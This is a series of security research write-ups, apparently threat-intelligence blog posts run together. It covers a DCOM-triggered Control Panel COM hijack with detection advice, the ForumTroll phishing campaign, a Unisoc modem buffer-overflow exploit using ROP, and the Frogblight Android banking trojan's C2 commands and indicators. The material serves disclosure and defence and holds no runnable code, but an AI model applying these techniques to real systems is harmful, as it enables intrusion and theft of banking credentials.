Now, what if we could trigger this COM object remotely? In other words, what if it is not just a COM object but also a DCOM object? To verify this, we checked the AppID of the COpenControlPanel object using OleViewDotNet.

Both the launch and access permissions are empty, which means the object will follow the system’s default DCOM security policy. By default, members of the Administrators group are allowed to launch and access the DCOM object.

Based on this, we can build a remote strategy. First, upload the “malicious” DLL, then use the Remote Registry service to register it in the appropriate registry location. Finally, use a trigger acting as a DCOM client to remotely invoke the Open() function, causing our DLL to be loaded. The diagram below illustrates the flow of this approach.

The trigger can be written in either C++ or Python, for example, using Impacket. I chose Python because of its flexibility. The trigger itself is straightforward: we define the DCOM class, the interface, and the function to call. The full code example can be found here.

Once the trigger runs, the behavior will be the same as when executing the COM client locally: our DLL will be loaded through the COM Surrogate process (dllhost.exe).

As you can see, this technique not only achieves command execution but also provides persistence. It can be triggered in two ways: when a user opens the Control Panel or remotely at any time via DCOM.

Detection

The first step in detecting such activity is to check whether any Control Panel items have been registered under the following registry paths:

• HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
• HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
• HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Control Panel\Cpls

Although commonly known best practices and research papers regarding Windows security advise monitoring only the first subkey, for thorough coverage it is important to monitor all of the above.

In addition, monitoring dllhost.exe (COM Surrogate) for unusual COM objects such as COpenControlPanel can provide indicators of malicious activity.
Finally, it is always recommended to monitor Remote Registry usage because it is commonly abused in many types of attacks, not just in this scenario.

Conclusion

In conclusion, I hope this research has clarified yet another attack vector and emphasized the importance of implementing hardening practices. Below are a few closing points for security researchers to take into account:

• As shown, DCOM represents a large attack surface. Windows exposes many DCOM classes, a significant number of which lack type libraries – meaning reverse engineering can reveal additional classes that may be abused for lateral movement.
• Changing registry values to register malicious CPLs is not good practice from a red teaming ethics perspective. Defender products tend to monitor common persistence paths, but Control Panel applets can be registered in multiple registry locations, so there is always a gap that can be exploited.
• Bitness also matters. On x64 systems, loading a 32-bit DLL will spawn a 32-bit COM Surrogate process (dllhost.exe *32). This is unusual on 64-bit hosts and therefore serves as a useful detection signal for defenders and an interesting red flag for red teamers to consider.

Introduction

In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.

More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Emails posing as a scientific library

In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.

The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.

A well-prepared attack

The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.

Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.

The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.

Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:

Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.

The malicious archive

The malicious archives downloaded via the email links contained the following:

• A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
• A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.

When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.

The downloaded payload then performed the following actions:

• Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
• Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
• Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
• Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.

The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.

At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.

The final payload: the Tuoni framework

The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.

As in the previous campaign, the attackers used fastly.net as C2 servers.

Conclusion

The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.

Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.

ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.

Indicators of compromise

e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net

Introduction

Imagine you’re cruising down the highway in your brand-new electric car. All of a sudden, the massive multimedia display fills with Doom, the iconic 3D shooter game. It completely replaces the navigation map or the controls menu, and you realize someone is playing it remotely right now. This is not a dream or an overactive imagination – we’ve demonstrated that it’s a perfectly realistic scenario in today’s world.

The internet of things now plays a significant role in the modern world. Not only are smartphones and laptops connected to the network, but also factories, cars, trains, and even airplanes. Most of the time, connectivity is provided via 3G/4G/5G mobile data networks using modems installed in these vehicles and devices. These modems are increasingly integrated into a System-on-Chip (SoC), which uses a Communication Processor (CP) and an Application Processor (AP) to perform multiple functions simultaneously. A general-purpose operating system such as Android can run on the AP, while the CP, which handles communication with the mobile network, typically runs on a dedicated OS. The interaction between the AP, CP, and RAM within the SoC at the microarchitecture level is a “black box” known only to the manufacturer – even though the security of the entire SoC depends on it.

Bypassing 3G/LTE security mechanisms is generally considered a purely academic challenge because a secure communication channel is established when a user device (User Equipment, UE) connects to a cellular base station (Evolved Node B, eNB). Even if someone can bypass its security mechanisms, discover a vulnerability in the modem, and execute their own code on it, this is unlikely to compromise the device’s business logic. This logic (for example, user applications, browser history, calls, and SMS on a smartphone) resides on the AP and is presumably not accessible from the modem.

To find out, if that is true, we conducted a security assessment of a modern SoC, Unisoc UIS7862A, which features an integrated 2G/3G/4G modem. This SoC can be found in various mobile devices by multiple vendors or, more interestingly, in the head units of modern Chinese vehicles, which are becoming increasingly common on the roads. The head unit is one of a car’s key components, and a breach of its information security poses a threat to road safety, as well as the confidentiality of user data.

During our research, we identified several critical vulnerabilities at various levels of the Unisoc UIS7862A modem’s cellular protocol stack. This article discusses a stack-based buffer overflow vulnerability in the 3G RLC protocol implementation (CVE-2024-39432). The vulnerability can be exploited to achieve remote code execution at the early stages of connection, before any protection mechanisms are activated.

Importantly, gaining the ability to execute code on the modem is only the entry point for a complete remote compromise of the entire SoC. Our subsequent efforts were focused on gaining access to the AP. We discovered several ways to do so, including leveraging a hardware vulnerability in the form of a hidden peripheral Direct Memory Access (DMA) device to perform lateral movement within the SoC. This enabled us to install our own patch into the running Android kernel and execute arbitrary code on the AP with the highest privileges. Details are provided in the relevant sections.

Acquiring the modem firmware

The modem at the center of our research was found on the circuit board of the head unit in a Chinese car.

Description of the circuit board components:

Number in the board photo	Component
1	Realtek RTL8761ATV 802.11b/g/n 2.4G controller with wireless LAN (WLAN) and USB interfaces (USB 1.0/1.1/2.0 standards)
2	SPRD UMW2652 BGA WiFi chip
3	55966 TYADZ 21086 chip
4	SPRD SR3595D (Unisoc) radio frequency transceiver
5	Techpoint TP9950 video decoder
6	UNISOC UIS7862A
7	BIWIN BWSRGX32H2A-48G-X internal storage, Package200-FBGA, ROM Type – Discrete, ROM Size – LPDDR4X, 48G
8	SCY E128CYNT2ABE00 EMMC 128G/JEDEC memory card
9	SPREADTRUM UMP510G5 power controller
10	FEI.1s LE330315 USB2.0 shunt chip
11	SCT2432STER synchronous step-down DC-DC converter with internal compensation

Using information about the modem’s hardware, we desoldered and read the embedded multimedia memory card, which contained a complete image of its operating system. We then analyzed the image obtained.

Remote access to the modem (CVE-2024-39431)

The modem under investigation, like any modern modem, implements several protocol stacks: 2G, 3G, and LTE. Clearly, the more protocols a device supports, the more potential entry points (attack vectors) it has. Moreover, the lower in the OSI network model stack a vulnerability sits, the more severe the consequences of its exploitation can be. Therefore, we decided to analyze the data packet fragmentation mechanisms at the data link layer (RLC protocol).

We focused on this protocol because it is used to establish a secure encrypted data transmission channel between the base station and the modem, and, in particular, it is used to transmit higher-layer NAS (Non-Access Stratum) protocol data. NAS represents the functional level of the 3G/UMTS protocol stack. Located between the user equipment (UE) and core network, it is responsible for signaling between them. This means that a remote code execution (RCE) vulnerability in RLC would allow an attacker to execute their own code on the modem, bypassing all existing 3G communication protection mechanisms.

The RLC protocol uses three different transmission modes: Transparent Mode (TM), Unacknowledged Mode (UM), and Acknowledged Mode (AM). We are only interested in UM, because in this mode the 3G standard allows both the segmentation of data and the concatenation of several small higher-layer data fragments (Protocol Data Units, PDU) into a single data link layer frame. This is done to maximize channel utilization. At the RLC level, packets are referred to as Service Data Units (SDU).

Among the approximately 75,000 different functions in the firmware, we found the function for handling an incoming SDU packet. When handling a received SDU packet, its header fields are parsed. The packet itself consists of a mandatory header, optional headers, and data. The number of optional headers is not limited. The end of the optional headers is indicated by the least significant bit (E bit) being equal to 0. The algorithm processes each header field sequentially, while their E-bits equal 1. During processing, data is written to a variable located on the stack of the calling function. The stack depth is 0xB4 bytes. The size of the packet that can be parsed (i.e., the number of headers, each header being a 2-byte entry on the stack) is limited by the SDU packet size of 0x5F0 bytes.

As a result, exploitation can be achieved using just one packet in which the number of headers exceeds the stack depth (90 headers). It is important to note that this particular function lacks a stack canary, and when the stack overflows, it is possible to overwrite the return address and some non-volatile register values in this function. However, overwriting is only possible with a value ending in one in binary (i.e., a value in which the least significant bit equals 1). Notably, execution takes place on ARM in Thumb mode, so all return addresses must have the least significant bit equal to 1. Coincidence? Perhaps.

In any case, sending the very first dummy SDU packet with the appropriate number of “correct” headers caused the device to reboot. However, at that moment, we had no way to obtain information on where and why the crash occurred (although we suspect the cause was an attempt to transfer control to the address 0xAABBCCDD, taken from our packet).

Gaining persistence in the system

The first and most important observation is that we know the pointer to the newly received SDU packet is stored in register R2. Return Oriented Programming (ROP) techniques can be used to execute our own code, but first we need to make sure it is actually possible.

We utilized the available AT command handler to move the data to RAM areas. Among the available AT commands, we found a suitable function – SPSERVICETYPE.

Next, we used ROP gadgets to overwrite the address 0x8CE56218 without disrupting the subsequent operation of the incoming SDU packet handling algorithm. To achieve this, it was sufficient to return to the function from which the SDU packet handler was called, because it was invoked as a callback, meaning there is no data linkage on the stack. Given that this function only added 0x2C bytes to the stack, we needed to fit within this size.

Having found a suitable ROP chain, we launched an SDU packet containing it as a payload. As a result, we saw the output 0xAABBCCDD in the AT command console for SPSERVICETYPE. Our code worked!

Next, by analogy, we input the address of the stack frame where our data was located, but it turned out not to be executable. We then faced the task of figuring out the MPU settings on the modem. Once again, using the ROP chain method, we generated code that read the MPU table, one DWORD at a time. After many iterations, we obtained the following table.

The table shows what we suspected – the code section is only mapped for execution. An attempt to change the configuration resulted in another ROP chain, but this same section was now mapped with write permissions in an unused slot in the table. Because of MPU programming features, specifically the presence of the overlap mechanism and the fact that a region with a higher ID has higher priority, we were able to write to this section.

All that remained was to use the pointer to our data (still stored in R2) and patch the code section that had just been unlocked for writing. The question was what exactly to patch. The simplest method was to patch the NAS protocol handler by adding our code to it. To do this, we used one of the NAS protocol commands – MM information. This allowed us to send a large amount of data at once and, in response, receive a single byte of data using the MM status command, which confirmed the patching success.

As a result, we not only successfully executed our own code on the modem side but also established full two-way communication with the modem, using the high-level NAS protocol as a means of message delivery. In this case, it was an MM Status packet with the cause field equaling 0xAA.

However, being able to execute our own code on the modem does not give us access to user data. Or does it?

The full version of the article with a detailed description of the development of an AR exploit that led to Doom being run on the head unit is available on ICS CERT website.

In August 2025, we discovered a campaign targeting individuals in Turkey with a new Android banking Trojan we dubbed “Frogblight”. Initially, the malware was disguised as an app for accessing court case files via an official government webpage. Later, more universal disguises appeared, such as the Chrome browser.

Frogblight can use official government websites as an intermediary step to steal banking credentials. Moreover, it has spyware functionality, such as capabilities to collect SMS messages, a list of installed apps on the device and device filesystem information. It can also send arbitrary SMS messages.

Another interesting characteristic of Frogblight is that we’ve seen it updated with new features throughout September. This may indicate that a feature-rich malware app for Android is being developed, which might be distributed under the MaaS model.

This threat is detected by Kaspersky products as HEUR:Trojan-Banker.AndroidOS.Frogblight.*, HEUR:Trojan-Banker.AndroidOS.Agent.eq, HEUR:Trojan-Banker.AndroidOS.Agent.ep, HEUR:Trojan-Spy.AndroidOS.SmsThief.de.

Technical details

Background

While performing an analysis of mobile malware we receive from various sources, we discovered several samples belonging to a new malware family. Although these samples appeared to be still under development, they already contained a lot of functionality that allowed this family to be classified as a banking Trojan. As new versions of this malware continued to appear, we began monitoring its development. Moreover, we managed to discover its control panel and based on the “fr0g” name shown there, we dubbed this family “Frogblight”.

Initial infection

We believe that smishing is one of the distribution vectors for Frogblight, and that the users had to install the malware themselves. On the internet, we found complaints from Turkish users about phishing SMS messages convincing users that they were involved in a court case and containing links to download malware. versions of Frogblight, including the very first ones, were disguised as an app for accessing court case files via an official government webpage and were named the same as the files for downloading from the links mentioned above.

While looking for online mentions of the names used by the malware, we discovered one of the phishing websites distributing Frogblight, which disguises itself as a website for viewing a court file.

We were able to open the admin panel of this website, where it was possible to view statistics on Frogblight malware downloads. However, the counter had not been fully implemented and the threat actor could only view the statistics for their own downloads.

Additionally, we found the source code of this phishing website available in a public GitHub repository. Judging by its description, it is adapted for fast deployment to Vercel, a platform for hosting web apps.

App features

As already mentioned, Frogblight was initially disguised as an app for accessing court case files via an official government webpage. Let’s look at one of the samples using this disguise (9dac23203c12abd60d03e3d26d372253). For analysis, we selected an early sample, but not the first one discovered, in order to demonstrate more complete Frogblight functionality.

After starting, the app prompts the victim to grant permissions to send and read SMS messages, and to read from and write to the device’s storage, allegedly needed to show a court file related to the user.

The full list of declared permissions in the app manifest file is shown below:

• MANAGE_EXTERNAL_STORAGE
• READ_EXTERNAL_STORAGE
• WRITE_EXTERNAL_STORAGE
• READ_SMS
• RECEIVE_SMS
• SEND_SMS
• WRITE_SMS
• RECEIVE_BOOT_COMPLETED
• INTERNET
• QUERY_ALL_PACKAGES
• BIND_ACCESSIBILITY_SERVICE
• DISABLE_KEYGUARD
• FOREGROUND_SERVICE
• FOREGROUND_SERVICE_DATA_SYNC
• POST_NOTIFICATIONS
• QUICKBOOT_POWERON
• RECEIVE_MMS
• RECEIVE_WAP_PUSH
• REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
• SCHEDULE_EXACT_ALARM
• USE_EXACT_ALARM
• VIBRATE
• WAKE_LOCK
• ACCESS_NETWORK_STATE
• READ_PHONE_STATE

After all required permissions are granted, the malware opens the official government webpage for accessing court case files in WebView, prompting the victim to sign in. There are different sign-in options, one of them via online banking. If the user chooses this method, they are prompted to click on a bank whose online banking app they use and fill out the sign-in form on the bank’s official website. This is what Frogblight is after, so it waits two seconds, then opens the online banking sign-in method regardless of the user’s choice. For each webpage that has finished loading in WebView, Frogblight injects JavaScript code allowing it to capture user input and send it to the C2 via a REST API.

The malware also changes its label to “Davalarım” if the Android version is newer than 12; otherwise it hides the icon.

The app icon before (left) and after launching (right)
In the sample we review in this section, Frogblight uses a REST API for C2 communication, implemented using the Retrofit library. The malicious app pings the C2 server every two seconds in foreground, and if no error is returned, it calls the REST API client methods fetchOutbox and getFileCommands. Other methods are called when specific events occur, for example, after the device screen is turned on, the com.capcuttup.refresh.PersistentService foreground service is launched, or an SMS is received. The full list of all REST API client methods with parameters and descriptions is shown below.

REST API client method	Description	Parameters
fetchOutbox	Request message content to be sent via SMS or displayed in a notification	device_id: unique Android device ID
ackOutbox	Send the results of processing a message received after calling the API method fetchOutbox	device_id: unique Android device ID msg_id: message ID status: message processing status error: message processing error
getAllPackages	Request the names of app packages whose launch should open a website in WebView to capture user input data	action: same as the API method name
getPackageUrl	Request the website URL that will be opened in WebView when the app with the specified package name is launched	action: same as the API method name package: the package name of the target app
getFileCommands	Request commands for file operations Available commands: ●       download: upload the target file to the C2 ●       generate_thumbnails: generate thumbnails from the image files in the target directory and upload them to the C2 ●       list: send information about all files in the target directory to the C2 ●       thumbnail: generate a thumbnail from the target image file and upload it to the C2	device_id: unique Android device ID
pingDevice	Check the C2 connection	device_id: unique Android device ID
reportHijackSuccess	Send captured user input data from the website opened in a WebView when the app with the specified package name is launched	action: same as the API method name package: the package name of the target app data: captured user input data
saveAppList	Send information about the apps installed on the device	device_id: unique Android device ID app_list: a list of apps installed on the device app_count: a count of apps installed on the device
saveInjection	Send captured user input data from the website opened in a WebView. If it was not opened following the launch of the target app, the app_name parameter is determined based on the opened URL	device_id: unique Android device ID app_name: the package name of the target app form_data: captured user input data
savePermission	Unused but presumably needed for sending information about permissions	device_id: unique Android device ID permission_type: permission type status: permission status
sendSms	Send information about an SMS message from the device	device_id: unique Android device ID sender: the sender’s/recipient’s phone number message: message text timestamp: received/sent time type: message type (inbox/sent)
sendTelegramMessage	Send captured user input data from the webpages opened by Frogblight in WebView	device_id: unique Android device ID url: website URL title: website page title input_type: the type of user input data input_value: user input data final_value: user input data with additional information timestamp: the time of data capture ip_address: user IP address sms_permission: whether SMS permission is granted file_manager_permission: whether file access permission is granted
updateDevice	Send information about the device	device_id: unique Android device ID model: device manufacturer and model android_version: Android version phone_number: user phone number battery: current battery level charging: device charging status screen_status: screen on/off ip_address: user IP address sms_permission: whether SMS permission is granted file_manager_permission: whether file access permission is granted
updatePermissionStatus	Send information about permissions	device_id: unique Android device ID permission_type: permission type status: permission status timestamp: current time
uploadBatchThumbnails	Upload thumbnails to the C2	device_id: unique Android device ID thumbnails: thumbnails
uploadFile	Upload a file to the C2	device_id: unique Android device ID file_path: file path download_id: the file ID on the C2 The file itself is sent as an unnamed parameter
uploadFileList	Send information about all files in the target directory	device_id: unique Android device ID path: directory path file_list: information about the files in the target directory
uploadFileListLog	Send information about all files in the target directory to an endpoint different from uploadFileList	device_id: unique Android device ID path: directory path file_list: information about the files in the target directory
uploadThumbnailLog	Unused but presumably needed for uploading thumbnails to an endpoint different from uploadBatchThumbnails	device_id: unique Android device ID thumbnails: thumbnails

Remote device control, persistence, and protection against deletion

The app includes several classes to provide the threat actor with remote access to the infected device, gain persistence, and protect the malicious app from being deleted.

• capcuttup.refresh.AccessibilityAutoClickService
  This is intended to prevent removal of the app and to open websites specified by the threat actor in WebView upon target apps startup. It is present in the sample we review, but is no longer in use and deleted in further versions.
• capcuttup.refresh.PersistentService
  This is a service whose main purpose is to interact with the C2 and to make malicious tasks persistent.
• capcuttup.refresh.BootReceiver
  This is a broadcast receiver responsible for setting up the persistence mechanisms, such as job scheduling and setting alarms, after device boot completion.

Further development

In later versions, new functionality was added, and some of the more recent Frogblight variants disguised themselves as the Chrome browser. Let’s look at one of the fake Chrome samples (d7d15e02a9cd94c8ab00c043aef55aff).

In this sample, new REST API client methods have been added for interacting with the C2.

REST API client method	Description	Parameters
getContactCommands	Get commands to perform actions with contacts Available commands: ●       ADD_CONTACT: add a contact to the user device ●       DELETE_CONTACT: delete a contact from the user device ●       EDIT_CONTACT: edit a contact on the user device	device_id: unique Android device ID
sendCallLogs	Send call logs to the C2	device_id: unique Android device ID call_logs: call log data
sendNotificationLogs	Send notifications log to the C2. Not fully implemented in this sample, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this API method	action: same as the API method name notifications: notification log data

Also, the threat actor had implemented a custom input method for recording keystrokes to a file using the com.puzzlesnap.quickgame.CustomKeyboardService service.

Another Frogblight sample we observed trying to avoid emulators and using geofencing techniques is 115fbdc312edd4696d6330a62c181f35. In this sample, Frogblight checks the environment (for example, device model) and shuts down if it detects an emulator or if the device is located in the United States.

Later on, the threat actor decided to start using a web socket instead of the REST API. Let’s see an example of this in one of the recent samples (08a3b1fb2d1abbdbdd60feb8411a12c7). This sample is disguised as an app for receiving social support via an official government webpage. The feature set of this sample is very similar to the previous ones, with several new capabilities added. Commands are transmitted over a web socket using the JSON format. A command template is shown below:

{
    "id": <command ID>,
    "command_type": <command name>
    "command_data": <command data>
}

It is also worth noting that some commands in this version share the same meaning but have different structures, and the functionality of certain commands has not been fully implemented yet. This indicates that Frogblight was under active development at the time of our research, and since no its activity was noticed after September, it is possible that the malware is being finalized to a fully operational state before continuing to infect users’ devices. A full list of commands with their parameters and description is shown below:

Command	Description	Parameters
connect	Send a registration message to the C2	–
connection_success	Send various information, such as call logs, to the C2; start pinging the C2 and requesting commands	–
auth_error	Log info about an invalid login key to the Android log system	–
pong_device	Does nothing	–
commands_list	Execute commands	List of commands
sms_send_command	Send an arbitrary SMS message	recipient: message destination message: message text msg_id: message ID
bulk_sms_command	Send an arbitrary SMS message to multiple recipients	recipients: message destinations message: message text
get_contacts_command	Send all contacts to the C2	–
get_app_list_command	Send information about the apps installed on the device to the C2	–
get_files_command	Send information about all files in certain directories to the C2	–
get_call_logs_command	Send call logs to the C2	–
get_notifications_command	Send a notifications log to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	–
take_screenshot_command	Take a screenshot. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	–
update_device	Send registration message to the C2	–
new_webview_data	Collect WebView data. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	–
new_injection	Inject code. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	code: injected code target_app: presumably the package name of the target app
add_contact_command	Add a contact to the user device	name: contact name phone: contact phone email: contact email
contact_add	Add a contact to the user device	display_name: contact name phone_number: contact phone email: contact email
contact_delete	Delete a contact from the user device	phone_number: contact phone
contact_edit	Edit a contact on the user device	display_name: new contact name phone_number: contact phone email: new contact email
contact_list	Send all contacts to the C2	–
file_list	Send information about all files in the specified directory to the C2	path: directory path
file_download	Upload the specified file to the C2	file_path: file path download_id: an ID that is received with the command and sent back to the C2 along with the requested file. Most likely, this is used to organize data on the C2
file_thumbnail	Generate a thumbnail from the target image file and upload it to the C2	file_path: image file path
file_thumbnails	Generate thumbnails from the image files in the target directory and upload them to the C2	folder_path: directory path
health_check	Send information about the current device state: battery level, screen state, and so on	–
message_list_request	Send all SMS messages to the C2	–
notification_send	Show an arbitrary notification	title: notification title message: notification message app_name: notification subtext
package_list_response	Save the target package names	packages: a list of all target package names. Each list element contains: package_name: target package name active: whether targeting is active
delete_contact_command	Delete a contact from the user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	contact_id: contact ID name: contact name
file_upload_command	Upload specified file to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	file_path: file path file_name: file name
file_download_command	Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	file_url: the URL of the file to download download_path: download path
download_file_command	Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command	file_url: the URL of the file to download download_path: downloading path
get_permissions_command	Send a registration message to the C2, including info about specific permissions	–
health_check_command	Send information about the current device state, such as battery level, screen state, and so on	–
connect_error	Log info about connection errors to the Android log system	A list of errors
reconnect	Send a registration message to the C2	–
disconnect	Stop pinging the C2 and requesting commands from it	–

Authentication via WebSocket takes place using a special key.

At the IP address to which the WebSocket connection was made, the Frogblight web panel was accessible, which accepted the authentication key mentioned above. Since only samples using the same key as the webpanel login are controllable through it, we suggest that Frogblight might be distributed under the MaaS model.

Judging by the menu options, the threat actor can sort victims’ devices by certain parameters, such as the presence of banking apps on the device, and send bulk SMS messages and perform other mass actions.

Victims

Since some versions of Frogblight opened the Turkish government webpage to collect user-entered data on Turkish banks’ websites, we assume with high confidence that it is aimed mainly at users from Turkey. Also, based on our telemetry, the majority of users attacked by Frogblight are located in that country.

Attribution

Even though it is not possible to provide an attribution to any known threat actor based on the information available, during our analysis of the Frogblight Android malware and the search for online mentions of the names it uses, we discovered a GitHub profile containing repos with Frogblight, which had also created repos with Coper malware, distributed under the MaaS model. It is possible that this profile belongs to the attackers distributing Coper who have also started distributing Frogblight.

Also, since the comments in the Frogblight code are written in Turkish, we believe that its developers speak this language.

Conclusions

The new Android malware we dubbed “Frogblight” appeared recently and targets mainly users from Turkey. This is an advanced banking Trojan aimed at stealing money. It has already infected real users’ devices, and it doesn’t stop there, adding more and more new features in the new versions that appear. It can be made more dangerous by the fact that it may be used by attackers who already have experience distributing malware. We will continue to monitor its development.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our crimeware reporting service. If you are interested, please contact crimewareintel@kaspersky.com.

APK file hashes
8483037dcbf14ad8197e7b23b04aea34
105fa36e6f97977587a8298abc31282a
e1cd59ae3995309627b6ab3ae8071e80
115fbdc312edd4696d6330a62c181f35
08a3b1fb2d1abbdbdd60feb8411a12c7
d7d15e02a9cd94c8ab00c043aef55aff
9dac23203c12abd60d03e3d26d372253

C2 domains
1249124fr1241og5121.sa[.]com
froglive[.]net

C2 IPs
45.138.16.208[:]8080

URL of GitHub repository with Frogblight phishing website source code
https://github[.]com/eraykarakaya0020/e-ifade-vercel

URL of GitHub account containing APK files of Frogblight and Coper
https://github[.]com/Chromeapk

Distribution URLs
https://farketmez37[.]cfd/e-ifade.apk
https://farketmez36[.]sbs/e-ifade.apk
https://e-ifade-app-5gheb8jc.devinapps[.]com/e-ifade.apk